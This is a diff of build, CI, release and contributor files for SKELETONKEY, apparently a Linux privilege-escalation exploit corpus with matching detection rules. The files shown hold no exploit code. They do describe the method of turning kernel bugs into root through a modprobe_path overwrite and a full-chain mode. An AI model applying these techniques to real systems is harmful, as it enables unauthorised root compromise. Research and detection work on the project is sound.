Compare commits
120 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| e3aa70f208 | |||
| 56f9e4d0dc | |||
| af01d112a5 | |||
| 73c7d09445 | |||
| 65588599ff | |||
| 68dac6c063 | |||
| 678a37b2f5 | |||
| 82ba6e0d08 | |||
| 635f7d2d24 | |||
| 1bdbe011b0 | |||
| cd9bea6399 | |||
| 6960d2076d | |||
| 70972e0c9d | |||
| 6edf78f765 | |||
| 3edad37184 | |||
| 58b44ebc43 | |||
| e01aa99ec6 | |||
| 8c45b2beb8 | |||
| 59cc2be065 | |||
| 24b839eccf | |||
| c55adc1840 | |||
| 5c18b678a5 | |||
| e46a32f11e | |||
| d466fbfdcb | |||
| a8bc81c54c | |||
| b7027a1749 | |||
| 03324c8542 | |||
| 95589e26cb | |||
| 4d0a0e2443 | |||
| 050731396d | |||
| ada56b0db3 | |||
| 28a9289989 | |||
| e457b22c1f | |||
| 60579f1602 | |||
| dd5f4fa06d | |||
| 3d9db6b93e | |||
| bd63aabd64 | |||
| 1663df69d1 | |||
| 6c148e276a | |||
| 35c33df16f | |||
| 25c2afc3e9 | |||
| 13fbbce618 | |||
| bb5ca48fe1 | |||
| 4454d8148e | |||
| fa0228df9b | |||
| d52fcd5512 | |||
| 66cca39a55 | |||
| 92396a0d6d | |||
| 8ac041a295 | |||
| 270ddc1681 | |||
| 7f4a6e1c7c | |||
| f41eed834e | |||
| d84b3b0033 | |||
| 4af82b82d9 | |||
| c12ee6055c | |||
| 3e9f373751 | |||
| 24c2821ae2 | |||
| 5d48a7b0b5 | |||
| 18fa3025f2 | |||
| 5b79b23ff2 | |||
| 264759832a | |||
| 6e0f811a2c | |||
| 312e7d89b5 | |||
| 2c131df1bf | |||
| 48d5f15828 | |||
| 67d091dd37 | |||
| f792a3c4a6 | |||
| 2c4cde1031 | |||
| 5071ad4ba9 | |||
| 554a58757e | |||
| 8ab49f36f6 | |||
| ee3e7dd9a7 | |||
| 39ce4dff09 | |||
| e4a600fef2 | |||
| 60d22eb4f6 | |||
| e2fef41667 | |||
| 8243817f7e | |||
| 8de46e212e | |||
| df4b879527 | |||
| 6b6d638d98 | |||
| 8938a74d04 | |||
| 027fc1f9dd | |||
| 72ac6f8774 | |||
| fde053a27e | |||
| 97be306fd2 | |||
| a9c8f7d8c6 | |||
| 150f16bc97 | |||
| c63ee72aa1 | |||
| 86812b043d | |||
| 0d87cbc71c | |||
| 2b1e96336e | |||
| 1571b88725 | |||
| 36814f272d | |||
| d05a46c5c6 | |||
| ea1744e6f0 | |||
| c00c3b463a | |||
| 4f30d00a1c | |||
| 3e6e0d869b | |||
| a26f471ecf | |||
| cdb8f5e8f9 | |||
| 9a4cc91619 | |||
| ac557b67d0 | |||
| a8c8d5ef1f | |||
| 3b287f84f0 | |||
| 33f81aeb69 | |||
| 5be3c46719 | |||
| 58fb2e0951 | |||
| 2904fa159c | |||
| 2873133852 | |||
| 95135213e5 | |||
| 0fbe1b058f | |||
| e13edd0cfd | |||
| 5a73565e0e | |||
| 324b539d65 | |||
| e668c3301f | |||
| 347a9af832 | |||
| 023289a03a | |||
| e7ced5db7c | |||
| b5188b7818 | |||
| 9593d90385 |
+24
@@ -0,0 +1,24 @@
|
||||
# clang-tidy configuration for SKELETONKEY core/.
|
||||
#
|
||||
# Defaults are mostly fine. Two checks intentionally disabled:
|
||||
#
|
||||
# clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling
|
||||
# This check flags snprintf, fprintf, memset, strncpy, etc. as
|
||||
# "insecure" and recommends the C11 Annex K _s variants
|
||||
# (snprintf_s, memset_s, ...). Annex K is fundamentally not
|
||||
# portable — glibc, musl, and MSVC all either don't implement
|
||||
# it or implement it incompletely. snprintf is already bounds-
|
||||
# checked; this is noise rather than signal in real C code.
|
||||
# The Linux kernel uses these functions everywhere; so does
|
||||
# every C project. Disabling.
|
||||
#
|
||||
# bugprone-easily-swappable-parameters
|
||||
# Flags every function taking 2+ same-typed parameters. False-
|
||||
# positive heavy on small utility functions like
|
||||
# skeletonkey_host_kernel_at_least(host, major, minor, patch)
|
||||
# where the parameter order is documented and obvious. Not
|
||||
# worth the noise.
|
||||
|
||||
Checks: >
|
||||
-clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling,
|
||||
-bugprone-easily-swappable-parameters
|
||||
+121
-13
@@ -5,6 +5,15 @@ on:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
schedule:
|
||||
# Weekly drift check against CISA KEV + Debian security tracker.
|
||||
# Runs Monday 06:00 UTC; reports any new backports / KEV additions
|
||||
# that haven't propagated into the corpus yet.
|
||||
- cron: '0 6 * * 1'
|
||||
workflow_dispatch:
|
||||
# Lets us trigger the drift-check job on demand (e.g. after a
|
||||
# metadata refresh) without waiting for the weekly cron. The
|
||||
# drift-check job's `if:` gate honors this trigger.
|
||||
|
||||
jobs:
|
||||
build:
|
||||
@@ -16,13 +25,14 @@ jobs:
|
||||
flavor: [default, debug]
|
||||
name: build (${{ matrix.cc }} / ${{ matrix.flavor }})
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: install build deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential clang make linux-libc-dev
|
||||
build-essential clang make linux-libc-dev \
|
||||
libglib2.0-dev pkg-config
|
||||
|
||||
- name: show compiler
|
||||
run: ${{ matrix.cc }} --version
|
||||
@@ -37,22 +47,119 @@ jobs:
|
||||
make
|
||||
fi
|
||||
|
||||
- name: sanity — iamroot --version
|
||||
run: ./iamroot --version
|
||||
- name: sanity — skeletonkey --version
|
||||
run: ./skeletonkey --version
|
||||
|
||||
- name: sanity — iamroot --list
|
||||
run: ./iamroot --list
|
||||
- name: sanity — skeletonkey --list
|
||||
run: ./skeletonkey --list
|
||||
|
||||
- name: sanity — iamroot --scan (no exploit; just detect)
|
||||
run: ./iamroot --scan --no-color || true
|
||||
- name: sanity — skeletonkey --scan (no exploit; just detect)
|
||||
run: ./skeletonkey --scan --no-color || true
|
||||
# exit code may be nonzero (vulnerable host = exit 2, missing
|
||||
# precond = exit 4) — that's diagnostic data, not CI failure
|
||||
|
||||
- name: sanity — --detect-rules auditd
|
||||
run: ./iamroot --detect-rules --format=auditd | head -50
|
||||
run: ./skeletonkey --detect-rules --format=auditd | head -50
|
||||
|
||||
- name: sanity — --detect-rules sigma
|
||||
run: ./iamroot --detect-rules --format=sigma | head -50
|
||||
run: ./skeletonkey --detect-rules --format=sigma | head -50
|
||||
|
||||
- name: tests — detect() unit suite
|
||||
env:
|
||||
CC: ${{ matrix.cc }}
|
||||
run: |
|
||||
# Run as a non-root user so modules' "already root" gates do
|
||||
# not short-circuit before the synthetic host-fingerprint
|
||||
# checks fire. The test binary itself is platform-agnostic;
|
||||
# the assertions are #ifdef __linux__ guarded.
|
||||
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci make test
|
||||
|
||||
# ASan + UBSan run. clang-only; catches memory bugs and undefined
|
||||
# behaviour the regular test suite can't see. Runs on the same 88
|
||||
# tests as the main matrix; failures here are real bugs even if
|
||||
# the assertions all pass.
|
||||
sanitizers:
|
||||
runs-on: ubuntu-latest
|
||||
name: sanitizers (ASan + UBSan)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential clang make linux-libc-dev \
|
||||
libglib2.0-dev pkg-config sudo
|
||||
- name: build + test under sanitizers
|
||||
env:
|
||||
CC: clang
|
||||
# AddressSanitizer + UndefinedBehaviorSanitizer. -O1 keeps
|
||||
# backtraces meaningful while still exercising optimizer paths;
|
||||
# -fno-omit-frame-pointer for ASan stack traces; halt-on-error
|
||||
# so the first finding fails CI loudly rather than scrolling
|
||||
# past silently.
|
||||
CFLAGS: "-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined -fno-sanitize-recover=all -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64"
|
||||
LDFLAGS: "-fsanitize=address,undefined"
|
||||
run: |
|
||||
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci -E make test
|
||||
|
||||
# clang-tidy lint. Runs against core/ + skeletonkey.c (the files we
|
||||
# control most tightly). Non-blocking for now — sets a baseline we
|
||||
# can tighten incrementally. Module sources are excluded; many
|
||||
# bundle published PoC code that we keep close to upstream style.
|
||||
clang-tidy:
|
||||
runs-on: ubuntu-latest
|
||||
name: clang-tidy
|
||||
continue-on-error: true
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
clang clang-tidy linux-libc-dev libglib2.0-dev pkg-config
|
||||
- name: lint core + dispatcher
|
||||
run: |
|
||||
clang-tidy core/*.c skeletonkey.c \
|
||||
--warnings-as-errors='' \
|
||||
-- -Icore -Imodules/copy_fail_family/src \
|
||||
-D_GNU_SOURCE -D_FILE_OFFSET_BITS=64
|
||||
|
||||
# Drift check — runs the two refresh scripts in --check / drift mode
|
||||
# against authoritative federal sources. Catches:
|
||||
# - New CISA KEV additions touching CVEs in our corpus
|
||||
# - New Debian security-tracker backport-version updates that move
|
||||
# the kernel_patched_from table thresholds
|
||||
# Network-required (fetches kev.csv + Debian tracker JSON). Runs on
|
||||
# the weekly cron + on-demand via workflow_dispatch. NOT gated on
|
||||
# PRs because random PRs shouldn't fail on upstream feed drift.
|
||||
drift-check:
|
||||
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
|
||||
runs-on: ubuntu-latest
|
||||
name: drift-check (CISA KEV + Debian tracker)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: cve_metadata drift
|
||||
run: |
|
||||
# Exits 1 if the federal data has drifted from our committed
|
||||
# JSON. Open a PR with `tools/refresh-cve-metadata.py` output
|
||||
# if this fires.
|
||||
python3 tools/refresh-cve-metadata.py --check || {
|
||||
echo "::warning::cve_metadata drift detected — run tools/refresh-cve-metadata.py and commit the result"
|
||||
exit 1
|
||||
}
|
||||
- name: kernel_range drift
|
||||
run: |
|
||||
# Exits 1 if any module's kernel_patched_from table is
|
||||
# MISSING or TOO_TIGHT versus Debian's tracker. INFO-only
|
||||
# findings are fine.
|
||||
python3 tools/refresh-kernel-ranges.py || {
|
||||
echo "::warning::kernel_range drift detected — see tools/refresh-kernel-ranges.py output"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Static build job: ensures the project links cleanly when -static is
|
||||
# requested. Useful for deployment to minimal containers / fleet scans
|
||||
@@ -61,12 +168,13 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
name: static-build
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: install build deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential make linux-libc-dev libc6-dev
|
||||
build-essential make linux-libc-dev libc6-dev \
|
||||
libglib2.0-dev pkg-config
|
||||
- name: make static
|
||||
# Glibc static linking pulls in NSS at runtime which breaks
|
||||
# getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
|
||||
@@ -75,7 +183,7 @@ jobs:
|
||||
# gate the merge on it. Migrate to musl-gcc when we want a
|
||||
# truly portable static binary.
|
||||
continue-on-error: true
|
||||
run: make static && ls -la iamroot
|
||||
run: make static && ls -la skeletonkey
|
||||
|
||||
# Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
|
||||
# the binary against a VM running a specific (vulnerable or patched)
|
||||
|
||||
+115
-36
@@ -7,7 +7,7 @@ name: release
|
||||
# Maintainer flow:
|
||||
# git tag v0.1.0
|
||||
# git push origin v0.1.0
|
||||
# → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64
|
||||
# → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64
|
||||
|
||||
on:
|
||||
push:
|
||||
@@ -32,7 +32,7 @@ jobs:
|
||||
name: build (${{ matrix.target }})
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: install build deps
|
||||
run: |
|
||||
@@ -44,77 +44,156 @@ jobs:
|
||||
CC: ${{ matrix.cc }}
|
||||
run: |
|
||||
make
|
||||
file iamroot
|
||||
ls -la iamroot
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv iamroot iamroot-${{ matrix.target }}
|
||||
sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256
|
||||
mv skeletonkey skeletonkey-${{ matrix.target }}
|
||||
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: iamroot-${{ matrix.target }}
|
||||
name: skeletonkey-${{ matrix.target }}
|
||||
path: |
|
||||
iamroot-${{ matrix.target }}
|
||||
iamroot-${{ matrix.target }}.sha256
|
||||
skeletonkey-${{ matrix.target }}
|
||||
skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
# Portable static-musl x86_64 build. Runs in Alpine (native musl +
|
||||
# linux-headers) so the resulting binary works on every libc —
|
||||
# glibc 2.x of any version, musl, etc. This is what install.sh
|
||||
# fetches by default for x86_64 hosts (the dynamic binary above
|
||||
# hits a glibc-version ceiling on older distros like Debian 12 /
|
||||
# RHEL 8).
|
||||
build-static-x86_64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (x86_64-static / musl)
|
||||
container:
|
||||
image: alpine:latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install build deps
|
||||
run: apk add --no-cache build-base linux-headers tar
|
||||
- name: build static (musl)
|
||||
run: |
|
||||
# MSG_COPY is a Linux-only SysV msg flag that glibc defines
|
||||
# but musl does not — netfilter_xtcompat needs it. Define
|
||||
# the kernel constant explicitly. (Kernel: include/uapi/
|
||||
# linux/msg.h: MSG_COPY = 040000)
|
||||
make CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" LDFLAGS=-static
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-x86_64-static
|
||||
sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-x86_64-static
|
||||
path: |
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
|
||||
# Portable static-musl arm64 build. Cross-compile from the x86_64
|
||||
# runner using dockcross/linux-arm64-musl — a Debian-based cross
|
||||
# toolchain image that ships aarch64-linux-musl-gcc with a clean
|
||||
# musl sysroot + Linux uapi headers. Avoids the two prior failure
|
||||
# modes:
|
||||
# (1) Alpine on arm64: actions/checkout JS bundle requires glibc-
|
||||
# compatible Node, which GitHub doesn't inject on arm64.
|
||||
# (2) musl-tools on ubuntu-24.04-arm: musl-gcc + Ubuntu's
|
||||
# /usr/include collide (glibc stdio.h vs musl stdio.h →
|
||||
# __gnuc_va_list / __time64_t conflicts).
|
||||
# dockcross runs glibc Debian (so checkout works), invokes a
|
||||
# bundled aarch64-linux-musl-gcc whose sysroot has its own
|
||||
# consistent musl + linux-uapi tree.
|
||||
build-static-arm64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (arm64-static / musl)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: run dockcross arm64-musl build
|
||||
run: |
|
||||
# Fetch the dockcross wrapper script (handles UID/GID,
|
||||
# volume mounts, env passing). Image already has
|
||||
# aarch64-linux-musl-gcc on PATH.
|
||||
docker run --rm dockcross/linux-arm64-musl > ./dockcross
|
||||
chmod +x ./dockcross
|
||||
./dockcross bash -c '
|
||||
make CC=aarch64-linux-musl-gcc \
|
||||
CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" \
|
||||
LDFLAGS=-static
|
||||
'
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-arm64-static
|
||||
sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-arm64-static
|
||||
path: |
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
|
||||
release:
|
||||
needs: build
|
||||
needs: [build, build-static-x86_64, build-static-arm64]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@v8
|
||||
with:
|
||||
path: dist
|
||||
|
||||
- name: flatten artifacts
|
||||
run: |
|
||||
find dist -type f -exec mv {} . \;
|
||||
ls -la iamroot-*
|
||||
ls -la skeletonkey-*
|
||||
|
||||
- name: collect release notes
|
||||
id: notes
|
||||
run: |
|
||||
tag="${GITHUB_REF#refs/tags/}"
|
||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||
# Pull the latest entry from CVES.md / ROADMAP.md for the body
|
||||
# Prefer the hand-written release notes if present (richer
|
||||
# per-release context); otherwise fall back to an auto-generated
|
||||
# stub with install instructions + pointers to docs.
|
||||
if [ -f docs/RELEASE_NOTES.md ]; then
|
||||
cp docs/RELEASE_NOTES.md release-notes.md
|
||||
else
|
||||
{
|
||||
echo "## IAMROOT $tag"
|
||||
echo "## SKELETONKEY $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
|
||||
echo "Pre-built binaries for x86_64 (dynamic + static-musl) and arm64."
|
||||
echo "Checksums alongside each artifact."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)"
|
||||
echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot"
|
||||
echo "iamroot --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "Or one-shot via the install script:"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
|
||||
echo "skeletonkey --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "### What's in this release"
|
||||
echo
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the curated CVE inventory."
|
||||
echo "See [\`ROADMAP.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/ROADMAP.md) for phase progress."
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the CVE inventory."
|
||||
echo "See [\`docs/RELEASE_NOTES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/docs/RELEASE_NOTES.md) for per-release detail."
|
||||
} > release-notes.md
|
||||
fi
|
||||
|
||||
- name: publish release
|
||||
uses: softprops/action-gh-release@v2
|
||||
uses: softprops/action-gh-release@v3
|
||||
with:
|
||||
tag_name: ${{ steps.notes.outputs.tag }}
|
||||
name: IAMROOT ${{ steps.notes.outputs.tag }}
|
||||
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
|
||||
body_path: release-notes.md
|
||||
files: |
|
||||
iamroot-x86_64
|
||||
iamroot-x86_64.sha256
|
||||
iamroot-arm64
|
||||
iamroot-arm64.sha256
|
||||
skeletonkey-x86_64
|
||||
skeletonkey-x86_64.sha256
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
skeletonkey-arm64
|
||||
skeletonkey-arm64.sha256
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
install.sh
|
||||
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
||||
|
||||
+12
-1
@@ -5,7 +5,18 @@ build/
|
||||
*.dSYM/
|
||||
modules/*/build/
|
||||
modules/*/dirtyfail
|
||||
modules/*/iamroot
|
||||
modules/*/skeletonkey
|
||||
/skeletonkey
|
||||
/skeletonkey-test
|
||||
/skeletonkey-test-kr
|
||||
/skeletonkey-x86_64
|
||||
/skeletonkey-x86_64-static
|
||||
/skeletonkey-x86_64.sha256
|
||||
/skeletonkey-x86_64-static.sha256
|
||||
/skeletonkey-arm64
|
||||
/skeletonkey-arm64.sha256
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
/tools/verify-vm/logs/
|
||||
/tools/verify-vm/.vagrant/
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
# Contributing to SKELETONKEY
|
||||
|
||||
SKELETONKEY is a curated corpus. PRs welcome for the things below.
|
||||
For everything else, open an issue first to discuss scope.
|
||||
|
||||
## What we accept
|
||||
|
||||
### 1. Kernel offsets for the `--full-chain` table
|
||||
|
||||
The 11 🟡 PRIMITIVE modules use the shared finisher in
|
||||
`core/finisher.c` to convert their primitive into a root pop via
|
||||
`modprobe_path` overwrite. That needs `&modprobe_path` (and friends)
|
||||
at runtime — resolved via env vars / `/proc/kallsyms` /
|
||||
`/boot/System.map` / the embedded `kernel_table[]` in
|
||||
`core/offsets.c`.
|
||||
|
||||
The embedded table is **empty by default** to honor the
|
||||
no-fabricated-offsets rule. Every entry must come from a real kernel
|
||||
you have root on.
|
||||
|
||||
**Workflow:**
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --dump-offsets # on the target kernel build
|
||||
# Paste the printed C struct entry into core/offsets.c kernel_table[]
|
||||
# Open a PR titled "offsets: <distro> <kernel_release>"
|
||||
```
|
||||
|
||||
Include in the PR body:
|
||||
- Distro + kernel version (`uname -a`, `cat /etc/os-release`)
|
||||
- How you verified the offsets (kallsyms / System.map / debuginfo)
|
||||
- Whether `--full-chain` succeeds end-to-end against any 🟡 module
|
||||
on that kernel (if you can test on a vulnerable build)
|
||||
|
||||
### 2. New modules
|
||||
|
||||
A new CVE module is welcome if:
|
||||
|
||||
- The bug is **patched in upstream mainline** (no 0days here)
|
||||
- It has a public CVE assignment or clear advisory
|
||||
- The kernel range it affects has realistic deployment footprint
|
||||
- You can include a working detect() with branch-backport ranges
|
||||
- You ship matching detection rules (auditd at minimum)
|
||||
|
||||
Use any existing module as a template. Lightest-weight reference:
|
||||
`modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c`.
|
||||
|
||||
Mandatory:
|
||||
- Detect short-circuits cleanly on patched kernels (we test this)
|
||||
- `--i-know` gate on exploit
|
||||
- Honest scope: `SKELETONKEY_EXPLOIT_OK` only after empirical root,
|
||||
otherwise `EXPLOIT_FAIL` with diagnostic
|
||||
- `NOTICE.md` crediting the original CVE reporter + PoC author
|
||||
|
||||
After the module file exists, wire it into:
|
||||
- `core/registry.h` (extern declaration)
|
||||
- `skeletonkey.c` main() (register call)
|
||||
- `Makefile` (new objects + ALL_OBJS)
|
||||
- `CVES.md` (inventory entry)
|
||||
|
||||
### 3. Detection rules
|
||||
|
||||
If you're adding only detection coverage (no exploit) for an
|
||||
existing or new CVE, that's fine. Drop a sigma rule into the module
|
||||
or a new auditd rule file.
|
||||
|
||||
### 4. Bug reports + CVE-status corrections
|
||||
|
||||
Distro backports that patched a CVE without bumping the upstream
|
||||
version → file an issue. Same for kernels we mis-classify as
|
||||
vulnerable.
|
||||
|
||||
## What we don't accept
|
||||
|
||||
- Untested code paths claiming `SKELETONKEY_EXPLOIT_OK`
|
||||
- Per-kernel offsets fabricated without verification
|
||||
- Modules without detection rules
|
||||
- 0day disclosures (responsible disclosure first; bundle here
|
||||
after upstream patch ships)
|
||||
- Container escapes that don't chain to host root
|
||||
|
||||
## Code style
|
||||
|
||||
C99. Match the surrounding file. Run `make` and the existing
|
||||
CI build (`.github/workflows/build.yml`) before opening the PR.
|
||||
|
||||
## License
|
||||
|
||||
By contributing you agree your work is MIT-licensed.
|
||||
@@ -1,15 +1,15 @@
|
||||
# IAMROOT — top-level Makefile (Phase 1)
|
||||
# SKELETONKEY — top-level Makefile (Phase 1)
|
||||
#
|
||||
# Builds one binary `iamroot` linked from:
|
||||
# Builds one binary `skeletonkey` linked from:
|
||||
# - core/ module interface + registry
|
||||
# - modules/<f>/ one family per subdir, contributes objects to the
|
||||
# final binary
|
||||
# - iamroot.c top-level dispatcher
|
||||
# - skeletonkey.c top-level dispatcher
|
||||
#
|
||||
# Each family is currently flat (Phase 1 keeps copy_fail_family's
|
||||
# absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
|
||||
# Future families register the same way: add their register_* call to
|
||||
# iamroot.c's main() and add their src dir to MODULE_DIRS below.
|
||||
# skeletonkey.c's main() and add their src dir to MODULE_DIRS below.
|
||||
|
||||
CC ?= gcc
|
||||
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
||||
@@ -17,126 +17,323 @@ CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
|
||||
LDFLAGS ?=
|
||||
|
||||
BUILD := build
|
||||
BIN := iamroot
|
||||
BIN := skeletonkey
|
||||
|
||||
# core/
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c \
|
||||
core/host.c core/cve_metadata.c core/verifications.c
|
||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||
|
||||
# Register-every-module helper. Lives in its own translation unit so
|
||||
# the kernel_range unit-test binary can link just CORE_OBJS without
|
||||
# pulling in every module symbol via registry_all.o.
|
||||
REGISTRY_ALL_OBJ := $(BUILD)/core/registry_all.o
|
||||
|
||||
# Family: copy_fail_family
|
||||
# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge.
|
||||
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
|
||||
CFF_DIR := modules/copy_fail_family
|
||||
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c
|
||||
# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main).
|
||||
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c
|
||||
# Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main).
|
||||
CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
|
||||
CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
|
||||
|
||||
# Family: dirty_pipe (single-CVE family, no shared infrastructure)
|
||||
DP_DIR := modules/dirty_pipe_cve_2022_0847
|
||||
DP_SRCS := $(DP_DIR)/iamroot_modules.c
|
||||
DP_SRCS := $(DP_DIR)/skeletonkey_modules.c
|
||||
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
|
||||
|
||||
# Family: entrybleed (single-CVE family, x86_64 only)
|
||||
EB_DIR := modules/entrybleed_cve_2023_0458
|
||||
EB_SRCS := $(EB_DIR)/iamroot_modules.c
|
||||
EB_SRCS := $(EB_DIR)/skeletonkey_modules.c
|
||||
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
|
||||
|
||||
# Family: pwnkit (userspace polkit bug, not kernel)
|
||||
PK_DIR := modules/pwnkit_cve_2021_4034
|
||||
PK_SRCS := $(PK_DIR)/iamroot_modules.c
|
||||
PK_SRCS := $(PK_DIR)/skeletonkey_modules.c
|
||||
PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
|
||||
|
||||
# Family: nf_tables (CVE-2024-1086)
|
||||
NFT_DIR := modules/nf_tables_cve_2024_1086
|
||||
NFT_SRCS := $(NFT_DIR)/iamroot_modules.c
|
||||
NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c
|
||||
NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
|
||||
|
||||
# Family: overlayfs (CVE-2021-3493)
|
||||
OVL_DIR := modules/overlayfs_cve_2021_3493
|
||||
OVL_SRCS := $(OVL_DIR)/iamroot_modules.c
|
||||
OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c
|
||||
OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
|
||||
|
||||
# Family: cls_route4 (CVE-2022-2588)
|
||||
CR4_DIR := modules/cls_route4_cve_2022_2588
|
||||
CR4_SRCS := $(CR4_DIR)/iamroot_modules.c
|
||||
CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c
|
||||
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
|
||||
|
||||
# Family: dirty_cow (CVE-2016-5195) — requires -pthread
